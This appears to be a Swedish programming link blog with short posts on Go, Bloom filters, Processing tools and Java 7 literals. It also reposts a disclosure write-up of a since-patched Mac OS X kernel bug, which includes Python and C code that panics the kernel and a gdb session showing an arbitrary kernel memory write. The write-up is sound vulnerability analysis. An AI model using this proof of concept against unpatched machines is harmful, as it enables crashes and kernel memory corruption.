Förvillelser
link

Googles nya språk.

package main

import "fmt"

func main() {
fmt.Printf("Hello, 世界\n")
}

Ars technica har en artikel om det.

link

a data structure that relies on hash functions for representing a set. The actual structure is a bunch of bits and a few hash functions. To add an element to a Bloom filter, compute the hashes for each hash function, and set each bit high. To test if an element has been added to the Bloom filter, compute the hashes and return true if all the bits are already high.

link

This project provides a Python package that creates an environment for graphics applications that closely resembles that of the Processing system.

The project mission is to implement Processing’s friendly graphics functions and interaction model in Python. Not all of Processing is to be ported, though, since Python itself already provides alternatives for many features of Processing, such as XML parsing.

The pyprocessing backend is built upon OpenGL and Pyglet, which provide the actual graphics rendering. Since these are multiplatform, so is pyprocessing.

Uppdatering: Prender verkar vara liknande.

link

Tack till Don Simon för tipset.

oF Syjunta är som en helt vanlig syjunta, fast vi kodar istället för att sy. Man träffas, hackar lite på sitt eget, pratar lite, utbyter ideer, tips och kod, dricker en kopp kaffe.

Grymt initiativ! Vill ha något liknande i Göteborg.

link
link
Hur låter koden?

Cessus blog hittade jag, tack vare Matti, ett inlägg om hur han hade slängt ihop ett verktyg med hjälp av Valgrind för att logga lite god information från exekverande program. Sedan mer kod för att spela upp ljud och animation av det hela. Något av det coolaste jag sett och hört på länge!

Here’s what one would here if the bits one to seven in the result of each addition and subtraction would indicate a very short ping. All those bits being zero corresponds to the barely audible 24.5 Hz, or the sub-contra G. Roughly ten highest notes are unfortunately ultrasound, but this was nevertheless the best representation I could come up with.



link
OpenFrameworks, C++ och nyttan med att pröva nya verktyg

För mina kreativa utlopp så använder jag gärna Processing. Anledningen är de många biblioteken och min kännedom om Java. Det är väldigt bra att ha hyffsat djup kunskap om verktyget man arbetar med för att kunna koncentrera sig på det kreativa istället för det tekniska.

C++ har jag aldrig satt mig in i. Anledningen var min dåvarande nörd-kärlek till C och dess “renhet” a la UNIX. När jag senare började läsa på universitetet så var det Java som användes vid utlärning av OOP. Efter det har det helt enkelt inte varit behövligt för mig att lära mig C++. Om man kan Java och C så känns det inte som det borde vara jobbigt alls att bara sätta sig ner och spruta ut C++kod. Jag tänker försöka mig på just det inom kort då openFrameworks äntligen släppt en publik pre-release.

Varför då besvära mig själv med nytt språk, med allt vad det innebär av syntaxförvirring och API-läsning? Min tro är att det vidgar mina vyer så att säga, låser upp en del spärrar som jag inte visste fanns eller bara ger mig nya idéer. Kan vara bra att bryta gamla mönster och få börja famla lite igen. Helst skall ju ens verktyg och miljö inte påverka det slutgiltiga verket, men tror det är svårt att undvika. Sedan skadar det inte att bekanta sig med ännu ett språk.

openFrameworks.

link
Lås skärmen i Mac OS X

I windows kan man trycka win+L för att låsa sin skärm. Om man kör X så kan man köra igång xlock. På OS X är det lite mer jobb, men det går att fixa. Först får man skriva ett litet shellscript som man sedan binder till en tangentkombination.

#!/bin/sh
/System/Library/CoreServices/"Menu Extras"/User.menu/Contents/Resources/CGSession -suspend

Via House of Ding.

link
JDK7, nyheter
Java.net rapporterar att JDK7 kommer bjuda på lite schysta kosmetiska tillägg:

The second small change from coin project, new numeric litterals has been integrated to jdk7/tl workspace and will be soon promoted into jdk7 main workspace.

The patch introduces two new notations for numeric litterals:

1. Binary litteral Litteral coded in binary starting with prefix 0b. This prefix can be prefixed by minus for negative number.

0b11 == 3
-0b11 == -3

More examples here.

2. Underscores in litterals Allow to use underscore (‘_’) to separate digits in litterals. Underscore can be used anywhere between two digits.

long aBankAccountBalance = 1_000_000_000;
long aVisaCardNumber = 1234_1234_1234_1234;
long aFrenchPhoneNumber = 01_60_95_77_33;

Of course, these two new syntax can be mixed:

int value = 0b11111111_00000000_11111111_00000000;

link

Processing för nybörjaren.

link

Collada, eller COLLAborative Design Activity är ett format för att beskriva 3dmodeller. Det börjar bli lite av en standard. QC4 har stöd för det, och snart processing kan vi hoppas på!

link
The Story of a Simple and Dangerous Kernel Bug

butnotyet:

Among other things, the update for Mac OS X 10.5.8 also fixed an interesting kernel bug related to the way the fcntl call is handled. The bug was identified as CVE-2009-1235 and the first exploit seems to be from June 2008. The variant that I discovered is much simpler and is, as far as I know, the one that really convinced Apple to solve the issue. :-) The oldest kernel I was able to test the problem was Darwin 8.0.1 which corresponds to Mac OS X 10.4 “Tiger”. The Tiger was announce in June 28, 2004 but was released to the public on April 29, 2005 and it was advertised as containing more than 200 new features. The bug was closed on August 5, 2009 so the number of days the vulnerability was alive was 1599 days (4 years and 3 months).

Here is a way to trigger a kernel panic using Python:

import termios, fcntl
fcntl.fcntl(0, termios.TIOCGWINSZ)

The first paramter to fcntl.fcntl indicates a file descriptor and any open one (0 to 4 in Python) will work.

The C variant is also very simple (it even fits in a tweet!):

#include <fcntl.h>
#include <sys/ioctl.h>

int main()
{
        fcntl(0, TIOCGWINSZ, 0);
        return 0;
}

As expected, this code will also generate a kernel panic when the first parameter for fcntl is 1 (stdout) or 2 (stderr).

Let’s now take a better look at what really happens. First, here is the correct version of the program:

#include <stdio.h>
#include <sys/ioctl.h>

int main()
{
        unsigned short buff[4];
        ioctl(0, TIOCGWINSZ, &buff);
        printf("%d %d %d %d\n", buff[0], buff[1], buff[2], buff[3]);
        return 0;
}

What the code does is obtaining the windows size. TIOCGWINSZ and other terminal related ioctl are fully explained in tty(4).

The output of the above program is the following:

24 80 484 316

The first two numbers are the height and length of the window in characters and the second is the same in pixels. The first parameter for ioctl is also a file descriptor and the above output is also obtained for 1 (stdout) and 2 (stderr). The size in pixels depends on the terminal program (in mrxvt 0.4.1 the two numbers are always zero).

Comparing the two programs it’s obvious that the buggy one is erroneously using fcntl instead of ioctl. As incredible as might sound, I managed to do this by mistake. :P This should (obviously) not generate a kernel panic. The good news is that debugging a Darwin kernel is quite easy because Apple is providing Kernel Debug Kits which contains the debug symbols for all the shipped kernels together with some handy gdb macros. The fact that debug takes places over Ethernet is another useful thing. Investigating the call traces of the good and buggy program are like this:

(buggy) unix_syscall --> fcntl_nocancel -------------------> VNOP_IOCTL --> cptyioctl --> ttioctl
(non-buggy) unix_syscall --> ioctl --> fo_ioctl --> vn_ioctl --> VNOP_IOCTL --> cptyioctl --> ttioctl

So both calls end up in the same place but taking slightly different paths. The end point in /bsd/kern/tty.c is the following:

963          case TIOCGWINSZ:                /* get window size */
964                  *(struct winsize *)data = tp->t_winsize;
965                  break;

The problem is the data in the buggy case is whatever we give as a third parameter in the fcntl code. Considering that the 8 bytes are controlled by the user it means he can write that amount of information anywhere in the kernel memory! Pretty scary right? :-) A way to really show this is to overwrite some memory that is not used and the examine the region to see if it contains the right thing. Below is an example that is using iso_font for this. Here are the steps (ten is the name of the target machine and it’s a G4 running 10.4.7):

(gdb) attach ten
Connected.
(gdb) print &iso_font
$1 = (unsigned char (*)[4096]) 0x433268

So iso_font is located at 0x433268.

(gdb) x/4hx iso_font
0x433268 <iso_font>:    0x0000  0x0000  0x0000  0x0000

And as expected, the first 8 bytes are zero.

(gdb) c
Continuing.

Next I run the buggy code with the 0x433268 as the third parameter. The program was this:

#include <fcntl.h>
#include <sys/ioctl.h>

int main()
{
        fcntl(0, TIOCGWINSZ, 0x433268);
        return 0;
}

When I run this the system didn’t crash. What I did next was to crash it (using 0xdeadbeaf as the third parameter for the fcntl call) in order to be able to take another look at iso_font. Here is what I saw:

Program received signal SIGTRAP, Trace/breakpoint trap.
0x002bdd44 in ttioctl (tp=0x2292a04, cmd=1074295912, data=0xdeadbeaf <Address 0xdeadbeaf out of bounds>, flag=0, p=0x21b7b18) at /SourceCache/xnu/xnu-1228.12.14/bsd/kern/tty.c:964
warning: Source file is more recent than executable.
964                     *(struct winsize *)data = tp->t_winsize;
(gdb) x/4hx iso_font
0x433268 <iso_font>:    0x0018  0x0050  0x01e4  0x013c
(gdb) print tp->t_winsize
$2 = {
  ws_row = 24,
  ws_col = 80,
  ws_xpixel = 484,
  ws_ypixel = 316
}

So the iso_font was indeed changed in the expected way. :-)

To make this disclosure full: I discovered the kernel panic in August 2008. I wrote to Apple but the only reply I got was indicating that they are investigating the problem. In July 2009 I finally spent some time and debug the problem. After I found that it could be used to write arbitrary data in memory I wrote again to Apple. This time they wrote back asking me if I want to be credited in the Security Update. They kept their promise. :-)

link

BLDGBLOG har alltid intressanta inlägg. Denna titel pockade extra på min uppmärksamhet.

link

Maffig artikelserie på 10 delar som handlar om terränggenerering och rendering.

link

HasCanvas is a tool for creating and sharing Processing sketches and runs on John Resig’s Processing.js.